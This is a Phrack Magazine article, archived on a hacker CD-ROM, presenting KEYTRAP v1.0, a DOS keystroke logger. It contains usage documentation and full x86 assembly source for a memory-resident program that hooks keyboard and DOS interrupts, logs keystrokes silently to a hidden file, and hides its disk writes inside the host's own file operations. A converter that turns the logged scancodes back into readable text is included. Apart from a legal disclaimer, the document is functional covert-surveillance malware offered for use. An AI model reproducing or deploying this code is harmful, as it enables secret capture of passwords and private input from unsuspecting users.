home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack46.026 < prev    next >
Encoding:
Text File  |  2003-06-11  |  34.4 KB  |  918 lines

  1.                               ==Phrack Magazine==
  2.  
  3.                  Volume Five, Issue Forty-Six, File 26 of 28
  4.  
  5. ****************************************************************************
  6.  
  7.                    KEYTRAP v1.0 - Keyboard Key Logger
  8.                       by Dcypher (Dcypher@aol.com)
  9.  
  10.  
  11. -------------------------------------------------------------------------
  12. THIS PROGRAM MAY NOT BE DISTRIBUTED IN ANY WAY THAT VIOLATES U.S. OR
  13. FOREIGN LAW.  THIS PROGRAM MUST NOT BE USED TO GAIN UNAUTHORIZED ACCESS
  14. TO DATA AND IS NOT INTENDED TO HELP USERS TO VIOLATE THE LAW !
  15. -------------------------------------------------------------------------
  16. You may distributed UNMODIFIED copies of KEYTRAP freely, subject to the
  17. above limitations, and provided all files are included in unmodified
  18. form; KEYTRAP.EXE, KEYTRAP.DOC
  19. -------------------------------------------------------------------------
  20. The author disclaims ALL warranties relating to the program, whether
  21. express or implied.  In absolutely no event shall the author be liable
  22. for any damage resulting from the use and/or misuse of this program.
  23. -------------------------------------------------------------------------
  24.  
  25.  
  26.  
  27.  
  28. WHAT IS KEYTRAP ?
  29. ~~~~~~~~~~~~~~~~~
  30. KEYTRAP is a very effective keyboard key logger that will log
  31. keyboard scancodes to a logfile for later conversion to ASCII
  32. characters. Keytrap installs as a TSR, remaining in memory
  33. until the computer is turned off.
  34.  
  35. CONVERT will convert the keyboard scancodes captured by Keytrap
  36. to their respective keyboard (ASCII) characters.
  37.  
  38.  
  39. Usage: KEYTRAP <dir\logfile> /A /B /C
  40. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  41. A - Maximum size of logfile
  42. B - Number of keys to log per session
  43. C - Number of minutes between each session
  44.  
  45. Keytrap is a command line program.
  46.  
  47. <dir\logfile> - You MUST specify a directory for the logfile.
  48. If you don't specify a directory Keytrap will only look in the
  49. current directory for the logfile. If the logfile is not found
  50. in the current directory no writing will occur. Keytrap will
  51. append the scancode data to the end of the file you specify.
  52.  
  53. A - The Maximum size of the logfile. This number is checked only
  54. when Keytrap is installed. If the size of the logfile exceeds this
  55. number, Keytrap will delete the logfile and create a new one.
  56.  
  57. B - This is the number of keys to log per session. Keytrap will
  58. only check this number AFTER a write to the logfile. So if you
  59. specify 50 keys, and Keytrap does not get a chance to write till
  60. there are 100 keys in the buffer, then Keytrap will log 100 keys.
  61.  
  62. C - This is the number of minutes between each session. When Keytrap
  63. reaches or exceeds the number of keys to log per session, it will
  64. start a delay routine and check this number. You can't specify more
  65. then 1440 minutes, the number of minutes in a day !
  66.  
  67. Example: KEYTRAP c:\logfile /20000 /200 /20
  68.  
  69. Keytrap will check "logfile" to see if it exceeds 20,000
  70. bytes. If it does, Keytrap will delete the log file and then
  71. create a new one. Keytrap will then install as a TSR program.
  72. It will log approx 200 keys at a time with a delay of 20 minutes
  73. between each session.
  74.  
  75.  
  76. Usage: CONVERT logfile outfile
  77. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  78. logfile: The file that contains the scancodes that Keytrap logged.
  79. outfile: Specify an output file name.
  80.  
  81. Theres not too much to say here. This program just converts scancodes
  82. from the logfile into their respective keyboard (ASCII) characters.
  83.  
  84.  
  85. NOTES
  86. ~~~~~
  87. Keytrap will not display ANY messages. Check the logfile and
  88. the size of the logfile if your not sure Keytrap is working.
  89.  
  90. Keytrap will only make the logfile hidden if the logfile is
  91. actually created by Keytrap or the maximum size of the logfile
  92. is reached or exceeded. If you specify a file that already
  93. exists then Keytrap will not change that files attributes and
  94. will append all scancode data to the end of the file.
  95.  
  96. Keytrap will not crash if the logfile gets deleted while Keytrap
  97. is in memory. It will just keep looking for the logfile so it can
  98. write its buffer. A buffer write is not forced until the buffer
  99. reaches 400 bytes. It will then try to write its buffer during
  100. the next interrupt 21 call.
  101.  
  102. -------------------------------------------------------------------------
  103.  
  104. If you have any questions or need some help, e-mail me.
  105. Below is my public pgp key, don't e-mail me without it !
  106.  
  107.                              Dcypher (Dcypher@aol.com)
  108.  
  109. -----BEGIN PGP PUBLIC KEY BLOCK-----
  110. Version: 2.6
  111.  
  112. mQCNAi3iD5cAAAEEAMVJGdgCYzG5av0lLSjO7iXm64qsuk6v/dx5XcMoNmOHNUA3
  113. +tzF0WuVPXuJ59mFxE3/rhQqyh8Mci0f4qT6TR7FfSb8vtzSkF5vW8cNUmQx8Qvf
  114. B/YQZVmztNlWOPROAmT8ZHbsrNev2rgeYjouW3ZOUgA4RKBRYiCTuXD+VOlxAAUR
  115. tBlEY3lwaGVyIDxEY3lwaGVyQGFvbC5jb20+
  116. =w2RN
  117. -----END PGP PUBLIC KEY BLOCK-----
  118.  
  119. *****************************************************************************
  120.  
  121. ;
  122. ;
  123. ; KEYTRAP v1.0 - Keyboard Key Logger
  124. ; By Dcypher (Dcypher@aol.com)
  125. ;
  126. ; Usage: KEYTRAP <dir\logfile> /A /B /C
  127. ;
  128. ;        A - Maximum size of log file.
  129. ;        B - Number of keys to log per session.
  130. ;        C - Minutes between each session.
  131. ;
  132. ;------------------------------------------------
  133.       ;
  134.  .286                                    ; 286 or better
  135.  .model small                            ;
  136.  .code                                   ;
  137.  org     100h                            ;
  138.       ;
  139. begin:  jmp     install    ;
  140.       ;
  141. ;================================================
  142.       ;
  143. db      ' DCYPHER@AOL.COM / KEYTRAP V1.0 ' ; PLEASE DON'T REMOVE
  144.       ;
  145. buf             db 401 dup (0)                  ; 400 byte buffer
  146. bufptr          dw 0                            ;  +1 for luck :)
  147.       ;
  148. hide            db 0    ; save int21 function call
  149. stimem          dw 0    ; grab time when done
  150. handle          dw 0                            ; logfile handle
  151. control         db 0    ; control which INT to use
  152. done_flag       db 0    ; session done flag
  153. must_write      db 0                            ; must-write flag
  154. write_amount    dw 0                            ; amount written to disk
  155. using_21        db 0    ; already doing an int-21
  156.       ;
  157. old_9a_off      dw 0    ;
  158. old_9a_seg      dw 0                            ;
  159.       ;
  160. old_9b_off      dw 0    ;
  161. old_9b_seg      dw 0                            ;
  162.       ;
  163. old_21_off      dw 0                            ;
  164. old_21_seg      dw 0                            ;
  165.       ;
  166. datasegm        dw 0                            ; save data-segment
  167.       ;
  168. delaym          dw 0    ; delay, in minutes
  169. mkeys           dw 0                            ; maximum number of keys
  170. logH            dw 0                            ; log file size
  171. logL            dw 0                            ; log file size
  172.       ;
  173. ;==============================================================================
  174.       ;
  175. int_9A: pushf                                   ;
  176.  pusha                                   ;
  177.  push    es     ;
  178.         push    ds                              ;
  179.  mov     ds, datasegm                    ; we are here
  180.       ;
  181.  cmp     control, 1   ; use this one ?
  182.         je      A91    ;
  183.         call    pkey    ; process key (scancode)
  184.         ;
  185.    A91: pop     ds                              ;
  186.  pop     es                              ;
  187.  popa                                    ;
  188.  popf                                    ;
  189.  jmp     dword ptr old_9a_off            ;
  190.       ;
  191. ;================================================
  192.       ;
  193.   pkey: cmp     done_flag, 1                    ; completely done ?
  194.  je      pk2                             ;
  195.  cmp     bufptr, 400                     ; buffer limit reached ?
  196.  jae     pk2                             ;
  197.       ;
  198.  in      al, 60h                         ; get scancode
  199.       ;
  200.  cmp     al, 39h                         ; get downstroke and only
  201.  ja      pk2                             ; as far as spacebar
  202.         cmp     al, 2Ah    ;
  203.         je      pk2    ; no shift
  204.         cmp     al, 36h    ;
  205.         je      pk2    ; no shift
  206.       ;
  207.         push    0    ;
  208.         pop     es    ;
  209.         mov     ah, byte ptr es:[417h]  ; shift status
  210.         test    ah, 43h    ; test for both shift keys
  211.         je      pk1           ; and cap-lock active
  212.       ;
  213.         add     al, 80h    ; show shift or cap-lock
  214.    pk1: mov     di, bufptr                      ; in logfile
  215.  mov     buf[di], al                     ; place scancode in buffer
  216.  inc     di                              ;
  217.  mov     bufptr, di                      ;
  218.         mov     must_write, 1      ; try to write buffer
  219.       ;
  220.    pk2: ret     ;
  221.       ;
  222. ;================================================
  223.       ;
  224. int_9B: pushf                                   ;
  225.  pusha                                   ;
  226.  push    es                              ;
  227.  push    ds                              ;
  228.  mov     ds, datasegm                    ; we are here
  229.       ;
  230.         cmp     control, 0   ; use this one ?
  231.         je      B91       ; (not really needed)
  232.         call    pkey    ; process a key (scancode)
  233.       ;
  234.    B91: pop     ds                              ;
  235.  pop     es    ;
  236.  popa                                    ;
  237.  popf                                    ;
  238.  jmp     dword ptr old_9b_off            ;
  239.       ;
  240. ;==============================================================================
  241.       ;
  242. int_21: pushf                                   ;
  243.  pusha                                   ;
  244.  push    es                              ;
  245.  push    ds                              ;
  246.  mov     ds, datasegm                    ; here we are
  247.       ;
  248.         cmp     ax, 0ffffh   ; check if already installed
  249.         je      D21    ;
  250.       ;
  251.  cmp     using_21, 1                     ; might need to call an
  252.  je      C21                             ; int-21 here so jump if
  253.  mov     using_21, 1                     ; called from below
  254.         mov     hide, ah   ; save function # for hiding
  255.       ;
  256.         call    switch     ; always control the int 9's
  257.         call    timer    ; always check restart timer
  258.       ;
  259.  cmp     done_flag, 1                    ; completely done ?
  260.  je      B21                             ;
  261.  cmp     must_write, 1                   ; need to write ?
  262.  jne     B21                             ;
  263.         cmp     bufptr, 400   ; push a write when buffer
  264.         jae     A21    ; is full
  265.       ;
  266.         cmp     hide, 3Fh    ; disk read
  267.         je      A21    ; (hide buffer write)
  268.         cmp     hide, 40h    ; disk write
  269.         je      A21    ;
  270.         jmp     B21    ; can't hide, try another time
  271.       ;
  272.    A21: call    saveb                           ; write buffer
  273.       ;
  274.    B21: mov     using_21, 0                     ; no int-21 calls anymore
  275.    C21: pop     ds                              ;
  276.  pop     es                              ;
  277.  popa                                    ;
  278.  popf                                    ;
  279.  jmp     dword ptr old_21_off            ;
  280. ;------------------------------------------------
  281.    D21: pop ds    ; already installed !
  282.         pop es    ;
  283.         popa     ;
  284.         popf     ;
  285.         mov     ax, 1    ; show installed
  286.         iret     ;
  287.       ;
  288. ;==============================================================================
  289.       ;
  290. timer:  cmp     done_flag, 0   ; only check time when
  291.  je      timerb    ; session is complete !
  292.       ;
  293.         mov     ah, 2Ch    ;
  294.         int     21h    ; what's the time ?
  295.         mov     al, ch    ;
  296.         xor     ah, ah    ;
  297.         mov     bx, 60    ;
  298.         mul     bx    ; multiply hours by 60
  299.         xor     ch, ch    ;
  300.         add     ax, cx    ; add in the minutes
  301.            ;
  302.         mov     bx, stimem   ;
  303.         cmp     ax, bx    ; is time now same as
  304.         je      timerb    ; when session was completed
  305.       ; if so, don't do anything
  306.         xor     cx, cx    ;
  307. timer1: cmp     bx, 1440   ; midnight then back to 0
  308.         jb      timer2    ;
  309.         xor     bx, bx    ;
  310. timer2: inc     cx    ; minutes counter
  311.         inc     bx    ;
  312.         cmp     ax, bx    ; count until time now
  313.         jne     timer1    ;
  314.       ;
  315.         cmp     cx, delaym   ;
  316.         jb      timerb    ; should we reset ?
  317.       ;
  318.         mov     done_flag, 0   ; reset / next session
  319. timerb: ret     ;
  320.       ;
  321. ;------------------------------------------------
  322.       ;
  323. switch: mov     ax, 3509h                       ;
  324.  int     21h                             ;
  325.  cmp     bx, offset int_9A               ; everything ok with 9A ?
  326.  jne     sw1                             ; check offset
  327.         mov     control, 0   ; show who has control
  328.         ret            ;
  329.                 ;
  330.    sw1: cmp     control, 1   ; 9B already in use ?
  331.         je      sw2    ; yes, don't do anything
  332.         mov     ax, 3509h   ;
  333.         int     21h    ;
  334.         mov     old_9b_seg, es   ;
  335.         mov     old_9b_off, bx   ;
  336.         mov     ax, 2509h   ;
  337.         lea     dx, int_9B   ;
  338.         int     21h    ; use 9B instead of 9A !
  339.         mov     control, 1   ; show who has control
  340.    sw2: ret                                     ;
  341.       ;
  342. ;------------------------------------------------
  343.       ;
  344. saveb:  mov     ax, 3d01h                       ;
  345.  mov     dx, 82h                         ;
  346.  int     21h                             ; open logfile, r/w
  347.  jc      probw                           ;
  348.  mov     handle, ax                      ;
  349.  mov     bx, ax                          ;
  350.  mov     ax, 4202h                       ;
  351.  xor     cx, cx                          ;
  352.  xor     dx, dx                          ;
  353.  int     21h                             ; point to eof
  354.  jc      probw                           ;
  355.  mov     ah, 40h                         ;
  356.  mov     bx, handle                      ;
  357.  mov     cx, bufptr                      ;
  358.  lea     dx, buf                         ;
  359.  int     21h                             ; write buffer
  360.  jc      probw                           ;
  361.  mov     ah, 3Eh                         ;
  362.  mov     bx, handle                      ;
  363.  int     21h                             ; close logfile
  364.  jc      probw                           ;
  365. ;------------------------------------------------
  366.  mov     cx, bufptr                      ; no problems writing
  367.  add     write_amount, cx                ; so add to written amount
  368.       ;
  369.  mov     cx, mkeys                       ; check number of keys logged
  370.  cmp     write_amount, cx                ; all done ?
  371.  jb      donew                           ;
  372.       ;
  373.  mov     done_flag, 1                    ; show session complete
  374.         mov     write_amount, 0   ; written amount to 0
  375.         call    gtime    ; grab stop time [minutes]
  376.       ;
  377. donew:  mov     must_write, 0                   ; no need to write anymore
  378.  mov     bufptr, 0                       ; buffer pointer back to 0
  379. probw:  ret                                     ; try again another time
  380.       ; (if problem writing)
  381. ;------------------------------------------------
  382.       ;
  383. gtime:  mov     ah, 2Ch    ; DONE
  384.         int     21h    ; grab time in minutes
  385.         mov     al, ch    ;
  386.         xor     ah, ah    ;
  387.         mov     bx, 60    ;
  388.         mul     bx    ; multiply hours by 60
  389.         xor     ch, ch    ;
  390.         add     ax, cx    ; add in the minutes
  391.         mov     stimem, ax   ; start time in minutes
  392.         ret     ;
  393.       ;
  394. ;==============================================================================
  395. ;==============================================================================
  396.       ;
  397. install:mov     bx, 80h                         ;
  398.  cmp     byte ptr [bx], 0                ; any parameters ?
  399.  je      bye                             ;
  400.       ;
  401.         mov   ax, 0ffffh   ;
  402.         int     21h    ; already installed ?
  403.         cmp     ax, 1    ;
  404.         je      bye    ;
  405.       ;
  406.  call    conv                            ; convert command line numbers
  407.  jc      bye                             ;
  408.         call    clog    ; check or create logfile
  409.       ;
  410.         mov     ax, 3509h                       ;
  411.  int     21h                             ;
  412.  mov     old_9a_off, bx                  ; save old int 9
  413.  mov     old_9a_seg, es                  ;
  414.  mov     ah, 25h                         ;
  415.  lea     dx, int_9A                      ;
  416.  int     21h                             ; hook only 9A to start
  417.       ;
  418.  mov     ax, 3521h                       ;
  419.  int     21h                             ;
  420.  mov     old_21_off, bx                  ; save old int 21
  421.  mov     old_21_seg, es                  ;
  422.  mov     ah, 25h                         ;
  423.  lea     dx, int_21                      ;
  424.  int     21h                             ; point to new int 21
  425.       ;
  426.         mov     datasegm, ds   ; save this data segment area
  427.       ; for later use in the ISR's
  428.  mov     bx, offset install              ;
  429.  mov     ax, 3100h                       ;
  430.  mov     dx, bx                          ;
  431.  mov     cl, 04h                         ;
  432.  shr     dx, cl                          ;
  433.  inc     dx                              ;
  434.  int     21h                             ; end / save above install
  435.       ;
  436.    bye: mov ah, 4Ch    ; no installation
  437.         int     21h    ; just end
  438.       ;
  439. ;==============================================================================
  440.       ;
  441.   conv: push    ds                              ; convert command line options
  442.  pop     es                              ;
  443.  mov     di, 81h                         ;
  444.  conv1: inc     di                              ;
  445.  cmp     byte ptr [di], 2fh              ; point to first "/"
  446.  jnz     conv1                           ;
  447.  inc     di                              ; point to first number
  448.  call    mconv                           ; convert it
  449.  jc      conv4                           ; any problems ?
  450.  mov     logH, dx                        ;
  451.  mov     logL, cx                        ; save max logfile size
  452.         add     cx, dx    ;
  453.         cmp     cx, 0    ; make sure not 0
  454.         je      conv4    ;
  455.       ;
  456.  dec     di                              ;
  457. conv2:  inc     di                              ;
  458.  cmp     byte ptr [di], 2fh              ; point to second "/"
  459.  jnz     conv2                           ;
  460.  inc     di                              ; point to first number
  461.  call    mconv                           ; convert it
  462.  jc      conv4                           ; any problems ?
  463.         cmp     dx, 0    ; bigger then 65535 ?
  464.         ja      conv4    ;
  465.  mov     mkeys, cx                       ; save key limit
  466.       ;
  467.  dec     di                              ;
  468. conv3:  inc     di                              ;
  469.  cmp     byte ptr [di], 2fh              ; point to third "/"
  470.  jnz     conv3                           ;
  471.  inc     di                              ; point to first number
  472.  call    mconv                           ; convert it
  473.  jc      conv4                           ; any problems ?
  474.         cmp     dx, 0    ;
  475.         ja      conv4     ; bigger then 65535 end
  476.         cmp     cx, 1440   ;
  477.         ja      conv4    ; bigger then 1440 end
  478.         mov     delaym, cx   ; save session delay time
  479.         clc     ; show no problems
  480.         ret     ;
  481. conv4:  stc     ; show problem
  482.         ret     ;
  483.       ;
  484. ;------------------------------------------------
  485.       ;
  486.  mconv: xor     cx, cx                          ; main converter
  487.  mov     dx, cx                          ; no comments here, all I
  488.  mov     ah, ch                          ; know is that it works ! :)
  489.  cld                                     ;
  490.  dec     di                              ;
  491.  convl: inc     di                              ;
  492.  mov     al, es:[di]                     ; convert number at es:[di]
  493.  xor     al, '0'                         ;
  494.  cmp     al, 10                          ; carry flag will be set
  495.  jae     convD                           ; if theres a problem
  496.  shl     cx, 1                           ;
  497.  rcl     dx, 1                           ;
  498.  jc      convD                           ;
  499.  mov     bx, cx                          ;
  500.  mov     si, dx                          ;
  501.  shl     cx, 1                           ;
  502.  rcl     dx, 1                           ;
  503.  jc      convD                           ;
  504.  shl     cx, 1                           ;
  505.  rcl     dx, 1                           ;
  506.  jc      convD                           ;
  507.  add     cx, bx                          ;
  508.  adc     dx, si                          ;
  509.  jc      convD                           ;
  510.  add     cl, al                          ;
  511.  adc     ch, 0                           ;
  512.  adc     dx, 0                           ;
  513.  jc      convD                           ;
  514.  jmp     convl                           ;
  515. convD: ret                                     ;
  516.       ;
  517. ;------------------------------------------------
  518.       ;
  519.   clog: mov     bx, 82h                         ; point to logfile
  520.  null1: cmp     byte ptr [bx], 20h              ; find first space
  521.  je      null2                           ;
  522.  inc     bx                              ;
  523.  jmp     null1                           ;
  524.  null2: mov     byte ptr [bx], 0                ; replace space with 0
  525.       ;
  526.         mov   ax, 3D01h   ;
  527.         mov     dx, 82h    ;
  528.         int     21h    ; open the file
  529.         jc      clog3    ;
  530.         mov     handle, ax   ; good open, save handle
  531.       ;
  532.         mov     ax, 4202h                       ;
  533.  mov     bx, handle                      ;
  534.  xor     cx, cx                          ;
  535.  xor     dx, dx                          ;
  536.  int     21h                             ; mov pointer to eof
  537.       ;
  538.  cmp     logH, dx                        ; check size
  539.  ja      clog4                           ; size ok
  540.  cmp     logH, dx                        ;
  541.  je      clog1                           ;
  542.  jmp     clog2                           ; must be below, not ok
  543.  clog1: cmp     logL, ax                        ;
  544.  ja      clog4                           ; size ok
  545.       ;
  546.  clog2: mov     ax, 4301h                       ;
  547.  mov     dx, 82h                         ;
  548.  xor     cx, cx                          ;
  549.  int     21h                             ; change file mode
  550.  mov     ah, 41h                         ;
  551.  mov     dx, 82h                         ;
  552.  int     21h                             ; delete file
  553.       ;
  554.  clog3: mov     ah, 3Ch    ; create new
  555.         mov     cx, 02h    ; (hidden)
  556.         mov     dx, 82h    ;
  557.         int     21h    ;
  558.         mov     handle, ax   ;
  559.       ;
  560.  clog4: mov     bx, handle   ; close logfile handle
  561.         mov     ah, 3Eh    ;
  562.         int     21h    ;
  563.         ret     ;
  564.       ;
  565. ;==============================================================================
  566.  
  567. end     begin
  568.  
  569. *****************************************************************************
  570.  
  571. ;
  572. ;
  573. ; CONVERT v1.0 - Keytrap logfile converter
  574. ; By Dcypher@aol.com
  575. ;
  576. ; Usage: CONVERT logfile outfile
  577. ;
  578. ;        logfile - Keytrap's scancode data (logfile)
  579. ;        outfile - Specify an output file name
  580. ;
  581. ;
  582. ;----------------------------------------
  583.      ;
  584.  .286                            ;
  585.  .model  small                   ;
  586.  .code                           ;
  587.  org     100h                    ;
  588.      ;
  589. start:  jmp     go                      ;
  590.      ;
  591. ;----------------------------------------
  592.      ;
  593. inhandle        dw 0                    ;
  594. inpointH        dw 0                    ;
  595. inpointL        dw 0                    ;
  596. loaded          dw 0                    ;
  597. last            db 0                    ;
  598.      ;
  599. outhandle       dw 0                    ;
  600. outoffset       dw 0                    ;
  601.      ;
  602. ;----------------------------------------
  603.      ;
  604. table   db 002h, '1'                    ; scan-code table
  605.  db 003h, '2'                    ;
  606.  db 004h, '3'                    ;
  607.  db 005h, '4'                    ;
  608.  db 006h, '5'                    ;
  609.  db 007h, '6'                    ;
  610.  db 008h, '7'                    ;
  611.  db 009h, '8'                    ;
  612.  db 00Ah, '9'                    ;
  613.  db 00Bh, '0'                    ;
  614.  ;                               ;
  615.  db 082h, '!'                    ;
  616.  db 083h, '@'                    ;
  617.  db 084h, '#'                    ;
  618.  db 085h, '$'                    ;
  619.  db 086h, '%'                    ;
  620.  db 087h, '^'                    ;
  621.  db 088h, '&'                    ;
  622.  db 089h, '*'                    ;
  623.  db 08Ah, '('                    ;
  624.  db 08Bh, ')'                    ;
  625. ;----------------------------------------
  626.  db 01Eh, 'a'                    ;
  627.  db 030h, 'b'                    ;
  628.  db 02Eh, 'c'                    ;
  629.  db 020h, 'd'                    ;
  630.  db 012h, 'e'                    ;
  631.  db 021h, 'f'                    ;
  632.  db 022h, 'g'                    ;
  633.  db 023h, 'h'                    ;
  634.  db 017h, 'i'                    ;
  635.  db 024h, 'j'                    ;
  636.  db 025h, 'k'                    ;
  637.  db 026h, 'l'                    ;
  638.  db 032h, 'm'                    ;
  639.  db 031h, 'n'                    ;
  640.  db 018h, 'o'                    ;
  641.  db 019h, 'p'                    ;
  642.  db 010h, 'q'                    ;
  643.  db 013h, 'r'                    ;
  644.  db 01Fh, 's'                    ;
  645.  db 014h, 't'                    ;
  646.  db 016h, 'u'                    ;
  647.  db 02Fh, 'v'                    ;
  648.  db 011h, 'w'                    ;
  649.  db 02Dh, 'x'                    ;
  650.  db 015h, 'y'                    ;
  651.  db 02Ch, 'z'                    ;
  652.  ;                               ;
  653.  db 09Eh, 'A'                    ;
  654.  db 0B0h, 'B'                    ;
  655.  db 0AEh, 'C'                    ;
  656.  db 0A0h, 'D'                    ;
  657.  db 092h, 'E'                    ;
  658.  db 0A1h, 'F'                    ;
  659.  db 0A2h, 'G'                    ;
  660.  db 0A3h, 'H'                    ;
  661.  db 097h, 'I'                    ;
  662.  db 0A4h, 'J'                    ;
  663.  db 0A5h, 'K'                    ;
  664.  db 0A6h, 'L'                    ;
  665.  db 0B2h, 'M'                    ;
  666.  db 0B1h, 'N'                    ;
  667.  db 098h, 'O'                    ;
  668.  db 099h, 'P'                    ;
  669.  db 090h, 'Q'                    ;
  670.  db 093h, 'R'                    ;
  671.  db 09Fh, 'S'                    ;
  672.  db 094h, 'T'                    ;
  673.  db 096h, 'U'                    ;
  674.  db 0AFh, 'V'                    ;
  675.  db 091h, 'W'                    ;
  676.  db 0ADh, 'X'                    ;
  677.  db 095h, 'Y'                    ;
  678.  db 0ACh, 'Z'                    ;
  679. ;----------------------------------------
  680.  db 00Ch, '-'                    ;
  681.  db 08Ch, '_'                    ;
  682.      ;
  683.  db 00Dh, '='                    ;
  684.  db 08Dh, '+'                    ;
  685.      ;
  686.  db 01Ah, '['                    ;
  687.  db 09Ah, '{'                    ;
  688.      ;
  689.  db 01Bh, ']'                    ;
  690.  db 09Bh, '}'                    ;
  691.      ;
  692.  db 027h, ';'                    ;
  693.  db 0A7h, ':'                    ;
  694.      ;
  695.  db 028h, 027h                   ; '
  696.  db 0A8h, '"'                    ;
  697.      ;
  698.  db 033h, ','                    ;
  699.  db 0B3h, '<'                    ;
  700.      ;
  701.  db 034h, '.'                    ;
  702.  db 0B4h, '>'                    ;
  703.      ;
  704.  db 035h, '/'                    ;
  705.  db 0B5h, '?'                    ;
  706.      ;
  707.  db 02Bh, '\'                    ;
  708.  db 0ABh, '|'                    ;
  709.      ;
  710.  db 037h, '*'                    ;
  711.  db 0B7h, '*'                    ;
  712.      ;
  713.  db 029h, '`'                    ;
  714.  db 0A9h, '~'                    ;
  715.      ;
  716. ;----------------------------------------
  717.      ;
  718.  db 039h, 020h                   ; space
  719.  db 0B9h, 020h                   ; space with shift
  720.      ;
  721.  db 00Eh, 011h                   ; backspace
  722.  db 08Eh, 011h                   ; backspace with shift
  723.      ;
  724.  db 01Ch, 00Ah                   ; return
  725.  db 09Ch, 00Ah                   ; return with shift
  726.      ;
  727.  db 0                            ; End of Table
  728.      ;
  729. ;==============================================================================
  730.       ;
  731.  fprob: mov     ah, 9                           ;
  732.  lea     dx, ferr                        ;
  733.  int     21h                             ;
  734.  jmp     bye                             ;
  735.       ;
  736. prtuse: mov     ah, 9                           ;
  737.  lea     dx, usage                       ;
  738.  int     21h                             ;
  739.       ;
  740.    bye: mov     ah, 4Ch                         ;
  741.  int     21h                             ;
  742.       ;
  743. ;------------------------------------------------
  744.       ;
  745.     go: mov     ah, 9                           ;
  746.  lea     dx, namver                      ;
  747.  int     21h                             ;
  748.       ;
  749.  mov     bx, 80h                         ;
  750.  cmp     byte ptr [bx], 0                ;
  751.  je      prtuse                          ;
  752.       ;
  753.  call    null                            ;
  754.  call    check                           ;
  755.  jc      fprob                           ;
  756.       ;
  757.    go1: call    ldata                           ;
  758.  call    conv                            ;
  759.  call    sdata                           ;
  760.  cmp     last, 1                         ;
  761.  jne     go1                             ;
  762.  jmp     bye                             ;
  763.       ;
  764. ;------------------------------------------------
  765.       ;
  766.   null: mov     bx, 81h                         ;
  767.  null1: inc     bx                              ;
  768.  cmp     byte ptr [bx], 20h              ;
  769.  jnz     null1                           ;
  770.  mov     byte ptr [bx], 0                ;
  771.       ;
  772.  mov     outoffset, bx                   ;
  773.  inc     word ptr [outoffset]            ;
  774.       ;
  775.  null2: inc     bx                              ;
  776.  cmp     byte ptr [bx], 0Dh              ;
  777.  jnz     null2                           ;
  778.  mov     byte ptr [bx], 0                ;
  779.  ret                                     ;
  780.       ;
  781. ;------------------------------------------------
  782.       ;
  783. check:  mov     ax, 3D00h                       ;
  784.  mov     dx, 82h                         ;
  785.  int     21h                             ;
  786.  jc      check2                          ;
  787.  mov     bx, ax                          ;
  788.  mov     ah, 3Eh                         ;
  789.  int     21h                             ;
  790.  jc      check2                          ;
  791.       ;
  792.  mov     ah, 3Ch                         ;
  793.  xor     cx, cx                          ;
  794.  mov     dx, outoffset                   ;
  795.  int     21h                             ;
  796.  jc      check2                          ;
  797.  mov     bx, ax                          ;
  798.  mov     ah, 3Eh                         ;
  799.  int     21h                             ;
  800.  jc      check2                          ;
  801.       ;
  802.  clc                                     ;
  803. check2: ret                                     ;
  804.       ;
  805. ;------------------------------------------------
  806.       ;
  807.  ldata: mov     ax, 3D00h                       ;
  808.  mov     dx, 82h                         ;
  809.  int     21h                             ;
  810.  mov     inhandle, ax                    ;
  811.       ;
  812.  mov     ax, 4200h                       ;
  813.  mov     bx, inhandle                    ;
  814.  mov     cx, inpointH                    ;
  815.  mov     dx, inpointL                    ;
  816.  int     21h                             ;
  817.       ;
  818.  mov     ah, 3Fh                         ;
  819.  mov     bx, inhandle                    ;
  820.  mov     cx, 60000                       ;
  821.  lea     dx, eof                         ;
  822.  int     21h                             ;
  823.  mov     loaded, ax                      ;
  824.  cmp     ax, 60000                       ;
  825.  je      ldata2                          ;
  826.  mov     last, 1                         ;
  827.       ;
  828. ldata2: mov     ax, 4201h                       ;
  829.  mov     bx, inhandle                    ;
  830.  xor     cx, cx                          ;
  831.  xor     dx, dx                          ;
  832.  int     21h                             ;
  833.  mov     inpointH, dx                    ;
  834.  mov     inpointL, ax                    ;
  835.       ;
  836.  mov     ah, 3Eh                         ;
  837.  mov     bx, inhandle                    ;
  838.  int     21h                             ;
  839.  ret                                     ;
  840.       ;
  841. ;------------------------------------------------
  842.       ;
  843.   conv: mov     cx, loaded                      ;
  844.  lea     si, eof                         ;
  845.       ;
  846.  conv1: lea     di, table                       ;
  847.       ;
  848.  cmp     cx, 0                           ;
  849.  je      conv6                           ;
  850.       ;
  851.  mov     al, byte ptr [si]               ;
  852.  conv2: mov     ah, byte ptr [di]               ;
  853.  cmp     ah, 0                           ;
  854.  je      conv4                           ;
  855.  cmp     ah, al                          ;
  856.  je      conv3                           ;
  857.  add     di, 2                           ;
  858.  jmp     conv2                           ;
  859.       ;
  860.  conv3: inc     di                              ;
  861.  mov     al, byte ptr [di]               ;
  862.  mov     byte ptr [si], al               ;
  863.  dec     cx                              ;
  864.  inc     si                              ;
  865.  jmp     conv1                           ;
  866.       ;
  867.  conv4: mov     byte ptr [si], 20h              ;
  868.  dec     cx                              ;
  869.  inc     si                              ;
  870.  jmp     conv1                           ;
  871.       ;
  872.  conv6: ret                                     ;
  873.       ;
  874. ;------------------------------------------------
  875.       ;
  876. sdata:  mov     ax, 3D02h                       ;
  877.  mov     dx, outoffset                   ;
  878.  int     21h                             ;
  879.  mov     outhandle, ax                   ;
  880.       ;
  881.  mov     ax, 4202h                       ;
  882.  mov     bx, outhandle                   ;
  883.  xor     cx, cx                          ;
  884.  xor     dx, dx                          ;
  885.  int     21h                             ;
  886.       ;
  887.  mov     ah, 40h                         ;
  888.  mov     bx, outhandle                   ;
  889.  mov     cx, loaded                      ;
  890.  lea     dx, eof                         ;
  891.  int     21h                             ;
  892.       ;
  893.  mov     ah, 3Eh                         ;
  894.  mov     bx, outhandle                   ;
  895.  int     21h                             ;
  896.  ret                                     ;
  897.       ;
  898. ;------------------------------------------------------------------------------
  899.  
  900. namver  db 10,13
  901.  db 'CONVERT v1.0',10,13
  902.  db 'Keytrap logfile converter.',10,13
  903.  db 'By Dcypher (Dcypher@aol.com)',10,13
  904.  db 10,13,'$'
  905.  
  906. usage   db 'Usage: CONVERT logfile outfile',10,13
  907.  db 10,13
  908.  db '       logfile - Keytrap',27h,'s scancode data.',10,13
  909.  db '       outfile - Specify an output file name.',10,13
  910.  db 10,13,'$'
